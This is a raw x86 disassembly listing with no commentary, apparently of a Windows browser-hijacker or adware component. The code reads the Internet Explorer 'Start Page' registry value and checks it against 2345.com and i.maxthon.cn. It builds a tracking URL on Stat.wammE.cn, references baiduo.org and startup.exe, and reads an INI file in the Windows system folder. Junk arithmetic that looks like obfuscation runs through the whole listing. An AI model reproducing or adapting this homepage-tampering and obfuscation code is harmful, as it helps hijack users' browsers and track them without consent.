mov edx, dword [ebp - 0x1110]
push edx
call fcn.00426140
mov edi, eax
push 0
call fcn.00430977
sub eax, dword [0x5706f4]
add esp, 4
cmp eax, 5
jle 0x42249c
test edi, edi
je 0x421412
mov eax, edi
lea edx, [eax + 1]
jmp 0x421400
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x421400
sub eax, edx
cmp eax, 5
ja 0x42249c
mov ecx, dword [str._r_____r____]
mov eax, dword [0x45cbd8]
mov esi, dword [0x45cbdc]
lea edi, [eax + ecx]
imul ecx, ecx, 0x4ebb783
mov eax, 0x680c7cd1
imul edi, edi, 0x3575d9d
imul esi
sar edx, 0x19
mov ebx, edx
add edi, edx
shr ebx, 0x1f
mov eax, 0x74b32761
imul esi
add ebx, edi
add ebx, ecx
mov ecx, esi
imul ecx, ecx, 0x4e899b9
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add ebx, ecx
mov ecx, dword [0x45cbe0]
add eax, edx
sub ebx, eax
lea edx, [ebx + ecx - 0xfcfe96]
mov dword [0x45cbd4], edx
mov eax, str.http:__www.baiduo.org_
lea ecx, [ebp - 0x1c4]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x421482
lea eax, [ebp - 0x1c4]
push eax
call fcn.00425fe0
mov ecx, dword [0x45cbd0]
mov edx, dword [0x45cbd8]
lea esi, [edx + ecx]
imul ecx, ecx, 0x4ebb783
mov edx, dword [str._r_____r____]
imul esi, esi, 0x4e899b9
mov dword [ebp - 0x10d0], eax
mov eax, 0x3bfa58a9
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov ecx, dword [0x45cbc8]
mov eax, 0x680c7cd1
imul ecx
sar edx, 0x19
add esi, edx
mov edi, edx
mov eax, 0x74b32761
imul ecx
mov ecx, dword [0x45cbe4]
mov eax, dword [0x44de08]
imul ecx, ecx, 0xfcfe96
shr edi, 0x1f
sar edx, 0x18
add edi, esi
add edi, edx
mov ebx, edx
mov edx, dword [str.sfdafsdafdsfdsfa]
mov dword [ebp - 0x140], eax
mov al, byte [0x44de14]
mov byte [ebp - 0x134], al
shr ebx, 0x1f
add ebx, edi
sub ebx, ecx
mov ecx, dword [0x44de0c]
mov dword [ebp - 0x144], edx
mov edx, dword [0x44de10]
xor eax, eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x138], edx
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [0x45cbd4]
mov eax, 0x315a5211
imul esi
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x45cbcc]
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0x3575d9d
mov dword [0x45cbe8], ebx
imul ebx, ebx, 0x5335ef4
sub eax, edi
add eax, edx
add eax, ebx
mov dword [ebp - 0x10f0], 0
mov edi, eax
mov eax, 0x680c7cd1
imul esi
mov eax, ecx
imul eax, eax, 0x4e899b9
sar edx, 0x19
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
add esi, eax
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x10f0]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x40]
push eax
sub esi, ecx
push SysReAllocStringLen
mov dword [str._r_____r____], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x421962
mov esi, dword [0x45cbe8]
mov edi, dword [0x45cbc8]
mov eax, 0xc4e5d61
imul esi
sar edx, 0x16
mov ebx, edx
mov ecx, edi
imul edi, edi, 0xfcfe96
imul ecx, ecx, 0x4ebb783
shr ebx, 0x1f
add ebx, edx
add ebx, ecx
mov ecx, dword [0x45cbd4]
mov eax, 0x680c7cd1
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x342745e1
imul esi
imul esi, esi, 0xfcfe96
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45cbe0]
mov eax, 0x74b32761
imul ecx
sar edx, 0x18
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, ecx
imul edx, edx, 0x23193db
add eax, edx
sub eax, esi
mov esi, dword [0x45cbe4]
mov dword [0x45cbd8], eax
mov eax, 0x993c2c11
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x3bfa58a9
imul dword [0x45cbd0]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov edx, ecx
imul edx, edx, 0x14e459e
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x342745e1
imul dword [0x45cbd0]
mov eax, dword [ebp - 0x10c8]
sar edx, 0x18
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x206151bf
imul dword [0x45cbd0]
sar edx, 0x15
mov eax, edx
add ebx, edx
mov edx, dword [0x45cbd0]
shr eax, 0x1f
add eax, ebx
add eax, edi
mov edi, dword [0x45cbcc]
mov dword [0x45cbc8], eax
mov dword [ebp - 0x10f4], 0x104
lea ebx, [edx + edi]
imul ecx, ecx, 0x222559d
mov eax, 0x315a5211
imul ebx, ebx, 0x3e51956
imul esi
sar edx, 0x18
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x993c2c11
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x680c7cd1
imul esi
add ebx, ecx
sar edx, 0x19
mov ecx, edx
add ebx, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
lea eax, [ebp - 0x10f4]
push eax
mov eax, dword [ebp - 0x10f0]
mov dword [0x45cbdc], ecx
lea ecx, [ebp - 0x144]
push ecx
lea edx, [ebp - 0x10c8]
push edx
push 0
push str.Start_Page
push eax
mov dword [ebp - 0x10c8], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x421962
mov ecx, dword [0x45cbd4]
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe8]
imul edx, edx, 0x5335ef4
mov esi, eax
sub esi, edx
mov eax, 0x680c7cd1
imul ecx
mov ecx, dword [0x45cbcc]
sar edx, 0x19
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45cbe0]
mov eax, esi
imul eax, eax, 0x4e899b9
add edi, eax
mov eax, 0x74b32761
imul ecx
mov eax, dword [0x570a18]
sar edx, 0x18
add edi, edx
mov ecx, edx
mov edx, dword [0x45cbe4]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, edi
mov edi, dword [str._r_____r____]
add ecx, edx
sub ecx, edi
add ecx, 0x456b154
test eax, eax
mov dword [0x45cbcc], ecx
jne 0x42196e
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4218a3
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.0040d390
add esp, 8
test eax, eax
je 0x421962
mov esi, dword [0x45cbd4]
mov ecx, dword [0x45cbcc]
mov eax, 0x315a5211
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
mov ebx, eax
imul edx, edx, 0x3575d9d
mov eax, dword [0x45cbe8]
imul eax, eax, 0x5335ef4
sub ebx, edi
add ebx, edx
add ebx, eax
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov esi, edx
add ebx, edx
mov edx, ecx
imul edx, edx, 0x4e899b9
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
lea ecx, [ebp - 0x144]
shr eax, 0x1f
push ecx
add eax, edx
sub esi, eax
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_HomePage_s
push 0x55f4e8
mov dword [str._r_____r____], esi
mov dword [0x570a18], 1
call fcn.00430341
push 0x132db2c
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45cbcc]
mov esi, dword [0x45cbe0]
mov edx, dword [0x45cbd0]
imul esi, esi, 0x222559d
mov edi, dword [0x45cbe4]
lea ebx, [edx + ecx]
mov eax, 0x315a5211
imul ebx, ebx, 0x3e51956
imul edi
sar edx, 0x18
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x680c7cd1
imul edi
mov eax, dword [ebp - 0x10f0]
sar edx, 0x19
mov ecx, edx
add ebx, esi
add ebx, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
push eax
mov dword [0x45cbdc], ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x45cbe4]
mov esi, dword [0x45cbd0]
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x3bfa58a9
imul esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
imul edx, edx, 0x14e459e
mov ebx, eax
sub ebx, edi
add ebx, edx
mov eax, 0x342745e1
imul esi
sar edx, 0x18
mov edi, edx
add ebx, edx
mov eax, 0x206151bf
imul esi
sar edx, 0x15
shr edi, 0x1f
mov eax, edx
add edi, ebx
add edi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xfcfe96
shr eax, 0x1f
add eax, edi
add eax, edx
mov edx, dword [0x45cbd4]
lea esi, [eax + edx]
mov dword [0x45cbc8], eax
imul esi, esi, 0x23193db
mov eax, 0x315a5211
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3b012ec7
imul ecx
imul ecx, ecx, 0x4ebb783
sar edx, 0x18
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45cbd8]
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x83740ec5
imul esi
mov eax, dword [ebp - 0x10e0]
add edi, ecx
add edx, esi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
lea ecx, [ebp - 0x10cc]
push ecx
mov dword [0x45cbe4], edi
mov edx, dword [eax]
push eax
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x10cc]
push edx
call fcn.00426140
mov ecx, dword [0x45cbd8]
mov ebx, eax
mov esi, dword [0x45cbe8]
mov eax, 0x315a5211
imul dword [0x45cbdc]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
mov edi, ecx
imul edx, edx, 0x3575d9d
imul edi, edi, 0x52fe876
sub edi, eax
mov eax, esi
imul eax, eax, 0x5335ef4
add edi, edx
mov edx, dword [0x45cbd0]
add edi, eax
mov eax, 0x3b012ec7
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x206151bf
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x45cbe4]
add eax, edi
sub eax, edx
sub eax, 0xfcfe96
test ebx, ebx
mov dword [0x45cbd0], eax
je 0x421c5b
mov edi, 0x44d3f0
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
mov esi, dword [0x45cbe8]
jne 0x421c55
mov ecx, dword [0x45cbd4]
mov eax, 0xc4e5d61
imul esi
mov eax, dword [0x45cbc8]
imul eax, eax, 0x4ebb783
sar edx, 0x16
mov edi, edx
shr edi, 0x1f
add edi, edx
add edi, eax
mov eax, 0x680c7cd1
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x342745e1
imul esi
imul esi, esi, 0xfcfe96
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45cbe0]
mov eax, 0x74b32761
imul ecx
imul ecx, ecx, 0x23193db
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, ecx
sub eax, esi
push 1
mov dword [0x45cbd8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10e0]
mov ecx, dword [eax]
lea edx, [ebp - 0x10cc]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10cc]
push eax
call fcn.00426140
mov esi, dword [0x45cbe8]
mov ebx, eax
mov eax, dword [0x45cbd0]
mov ecx, dword [0x45cbd8]
mov edx, dword [0x45cbd4]
imul ecx, ecx, 0x222559d
lea edi, [eax + esi]
imul edx, edx, 0x5335ef4
imul edi, edi, 0x456b154
sub edi, edx
add edi, ecx
mov ecx, dword [0x45cbcc]
mov eax, 0x3b012ec7
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x83740ec5
imul esi
mov eax, dword [0x45cbdc]
imul eax, eax, 0xfcfe96
add edx, esi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add edi, edx
push 4
add ecx, edi
sub ecx, eax
push str.http
push ebx
mov dword [0x45cbe0], ecx
call fcn.004314e0
add esp, 0xc
test eax, eax
je 0x421f2b
push 4
push str.HTTP
push ebx
call fcn.004314e0
add esp, 0xc
test eax, eax
je 0x421f2b
push 4
push str.www.
push ebx
call fcn.004314e0
add esp, 0xc
test eax, eax
je 0x421f2b
push 4
push str.WWW.
push ebx
call fcn.004314e0
add esp, 0xc
test eax, eax
je 0x421f2b
push str.http:
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x421d67
push str.HTTP:
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x421d67
push str.www.
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x421d67
push str.WWW.
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
je 0x421f2b
mov ecx, dword [0x45cbd0]
mov edx, dword [0x45cbd8]
lea esi, [edx + ecx]
imul ecx, ecx, 0x4ebb783
mov edx, dword [str._r_____r____]
imul esi, esi, 0x4e899b9
mov eax, 0x3bfa58a9
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov ecx, dword [0x45cbc8]
mov eax, 0x680c7cd1
imul ecx
sar edx, 0x19
mov edi, edx
add esi, edx
mov eax, 0x74b32761
imul ecx
sar edx, 0x18
shr edi, 0x1f
mov ecx, edx
add edi, esi
add edi, edx
mov edx, dword [0x45cbe4]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, edi
sub ecx, edx
push str.http:
push ebx
mov dword [0x45cbe8], ecx
call fcn.0040d390
add esp, 8
test eax, eax
je 0x421ed7
push str.http:
jmp 0x421f20
mov ecx, dword [0x45cbd0]
imul esi, esi, 0x14e459e
mov eax, 0x993c2c11
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x3bfa58a9
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x342745e1
imul ecx
sar edx, 0x18
sub ebx, edi
add ebx, esi
mov esi, edx
add ebx, edx
mov eax, 0x206151bf
imul ecx
sar edx, 0x15
shr esi, 0x1f
mov ecx, edx
add esi, ebx
add esi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, esi
add ecx, edx
push str.startup.exe
mov dword [0x45cbc8], ecx
call fcn.0040f980
add esp, 4
test eax, eax
jle 0x421042
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 5
je 0x421e98
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x421eac
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 2
je 0x421ec0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x420ce0
jmp 0x420cda
push str.HTTP:
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
je 0x421ef0
push str.HTTP:
jmp 0x421f20
push str.www.
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
je 0x421f09
push str.www.
jmp 0x421f20
push str.WWW.
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
je 0x421f2b
push str.WWW.
push ebx
call fcn.0040d390
add esp, 8
mov ebx, eax
mov esi, dword [0x45cbd4]
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x315a5211
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10f4], eax
mov eax, 0x315a5211
imul dword [0x45cbcc]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
mov esi, eax
imul edx, edx, 0x3575d9d
mov eax, dword [ebp - 0x10f4]
sub esi, eax
add esi, edx
mov edx, dword [0x45cbcc]
mov eax, edx
imul eax, eax, 0x4e899b9
add esi, eax
mov edi, dword [0x45cbe8]
mov eax, 0x83740ec5
imul edi, edi, 0x5335ef4
imul edx
add edx, dword [0x45cbcc]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x44dd74]
sub esi, eax
add esi, ecx
mov dword [ebp - 0x10f8], ecx
add esi, edi
xor eax, eax
mov dword [ebp - 0x10c8], edi
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x44dd78]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x44dd7c]
mov dword [ebp - 0x4c0], edx
mov dx, word [0x44dd80]
mov dword [ebp - 0x4b8], ecx
mov dword [ebp - 0x4bc], eax
mov word [ebp - 0x4b4], dx
xor eax, eax
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45cbd4]
stosw word es:[edi], ax
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbe0]
imul edx, edx, 0x4e899b9
mov eax, 0x74b32761
add ecx, edx
imul dword [0x45cbcc]
mov dword [str._r_____r____], esi
sar edx, 0x18
add ecx, edx
mov eax, edx
mov edx, dword [ebp - 0x10c8]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45cbe4]
imul ecx, ecx, 0xfcfe96
add eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x10f8]
sub eax, esi
lea ecx, [eax + edx + 0x456b154]
mov esi, ebx
mov dword [0x45cbcc], ecx
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4220a6
sub esi, edi
mov dword [ebp - 0x10f8], esi
je 0x4221ee
push str.http:__
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push str.HTTP:__
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push str.www.
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push str.WWW.
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push str..COM
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push str..com
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push str..NET
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push str..net
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push str..ORG
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push str..org
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push 0x44dd2c
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push 0x44dd28
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push str..htm
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x4221d3
push str..HTM
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
je 0x4221e8
push ebx
lea eax, [ebp - 0x4c4]
push str.__s_
push eax
call fcn.00430341
add esp, 0xc
mov ecx, dword [0x45cbcc]
mov esi, dword [0x45cbd4]
mov eax, 0x315a5211
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, eax
mov eax, dword [0x45cbdc]
imul eax, eax, 0x3575d9d
add edi, eax
mov eax, dword [0x45cbe8]
imul eax, eax, 0x5335ef4
add edi, eax
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov esi, edx
add edi, edx
mov edx, ecx
imul edx, edx, 0x4e899b9
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x83740ec5
imul ecx
push str.C:WINDoWS_system_sdAx.txt
add edx, ecx
push 0x400
sar edx, 0x19
lea ecx, [ebp - 0x8c4]
push ecx
mov eax, edx
shr eax, 0x1f
push 0x44ce85
add eax, edx
push str.rtgbh
sub esi, eax
push str.asdf
mov dword [str._r_____r____], esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x4223eb
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4222a1
sub eax, edx
mov dword [ebp - 0x10f8], eax
je 0x4223eb
mov edi, 0x44d3f0
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4223eb
lea eax, [ebp - 0x144]
push eax
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x42234b
lea ecx, [ebp - 0x144]
push ebx
push ecx
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x42234b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
jmp 0x422300
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x422328
test al, al
je 0x422324
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x422328
add esi, 2
add edi, 2
test al, al
jne 0x422300
xor eax, eax
jmp 0x42232d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x42234b
lea edx, [ebp - 0x4c4]
push edx
lea eax, [ebp - 0x8c4]
push eax
call fcn.0040d390
add esp, 8
test eax, eax
je 0x422363
lea ecx, [ebp - 0x1c4]
push ecx
push ebx
call fcn.0040d390
add esp, 8
test eax, eax
je 0x4223eb
mov edi, dword [0x45cbdc]
mov esi, dword [0x45cbd8]
mov ecx, dword [0x45cbc8]
mov eax, 0x315a5211
imul ecx, ecx, 0x3575d9d
imul edi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe8]
mov ebx, esi
imul edx, edx, 0x5335ef4
imul ebx, ebx, 0x52fe876
sub ebx, eax
add ebx, ecx
mov ecx, dword [0x45cbd0]
add ebx, edx
mov eax, 0x3b012ec7
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x206151bf
imul esi
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
mov ebx, dword [0x45cbe4]
sub ecx, ebx
sub ecx, 0xfcfe96
mov dword [0x45cbd0], ecx
jmp 0x4224b4
push 0
call fcn.00430977
mov ecx, dword [0x45cbe8]
mov edi, dword [0x570a14]
mov dword [0x570a10], eax
mov eax, 0xc4e5d61
imul ecx
sar edx, 0x16
add esp, 4
inc edi
mov dword [0x570a14], edi
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0x4ebb783
add edi, edx
mov edx, dword [0x45cbd4]
mov eax, 0x680c7cd1
imul edx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov esi, dword [0x45cbe0]
mov eax, 0x342745e1
imul ecx
imul ecx, ecx, 0xfcfe96
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x74b32761
imul esi
imul esi, esi, 0x23193db
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [ebp - 0x10d0]
add eax, edi
add eax, esi
sub eax, ecx
mov dword [0x45cbd8], eax
mov eax, dword [ebp - 0x10e0]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x9c]
mov edi, dword [0x45cbdc]
mov ecx, dword [0x45cbd0]
mov ebx, dword [0x45cbe4]
mov esi, dword [0x45cbd8]
mov eax, 0x993c2c11
imul ebx
add edx, ebx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x3bfa58a9
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
sub eax, ebx
imul edx, edx, 0x14e459e
add eax, edx
mov dword [ebp - 0x10d0], eax
mov eax, 0x342745e1
imul ecx
mov eax, dword [ebp - 0x10d0]
sar edx, 0x18
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x206151bf
imul ecx
mov ecx, dword [0x45cbc8]
imul ecx, ecx, 0xfcfe96
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, dword [ebp - 0x10e4]
test ecx, ecx
mov dword [0x45cbc8], eax
je 0x422bc7
lea ebx, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x422540
sub ecx, ebx
mov dword [ebp - 0x10d0], ecx
je 0x422bc7
mov ecx, dword [str._r_____r____]
add esi, ecx
imul ecx, ecx, 0x4ebb783
mov eax, 0x680c7cd1
imul esi, esi, 0x3575d9d
imul edi
sar edx, 0x19
mov eax, edi
imul eax, eax, 0x4e899b9
mov ebx, edx
add esi, edx
shr ebx, 0x1f
add ebx, esi
add ebx, ecx
add ebx, eax
mov eax, 0x74b32761
imul edi
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbe0]
sub ebx, ecx
push 0xffffffffffffffff
lea eax, [ebx + edx - 0xfcfe96]
push 0x5605f0
lea ecx, [ebp - 0x1140]
mov dword [0x45cbd4], eax
call fcn.00407030
mov esi, dword [0x45cbe8]
mov ecx, dword [0x45cbd0]
mov ebx, dword [0x45cbd4]
mov eax, dword [0x45cbd8]
lea edi, [ecx + esi]
imul eax, eax, 0x222559d
imul edi, edi, 0x456b154
mov edx, ebx
imul edx, edx, 0x5335ef4
sub edi, edx
add edi, eax
mov eax, 0x3b012ec7
imul dword [0x45cbcc]
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x83740ec5
imul esi
sub edi, ecx
add edx, esi
sar edx, 0x19
add edi, edx
mov ecx, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0xfcfe96
shr ecx, 0x1f
add ecx, edi
mov edi, dword [ebp - 0x10e4]
sub ecx, edx
mov byte [ebp - 4], 7
mov dword [0x45cbe0], ecx
mov dword [ebp - 0x10c8], 0x55fde8
jmp 0x422650
mov al, byte [edi]
mov edx, dword [ebp - 0x10c8]
mov byte [ebp - 0x10d1], al
cmp al, byte [edx]
jne 0x422688
test al, al
je 0x422684
mov al, byte [edi + 1]
mov byte [ebp - 0x10d1], al
cmp al, byte [edx + 1]
jne 0x422688
add edx, 2
add edi, 2
test al, al
mov dword [ebp - 0x10c8], edx
jne 0x422650
xor eax, eax
jmp 0x42268d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x422bad
mov eax, 0x680c7cd1
imul ebx
sar edx, 0x19
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x993c2c11
imul ebx
add edx, ebx
sar edx, 0x19
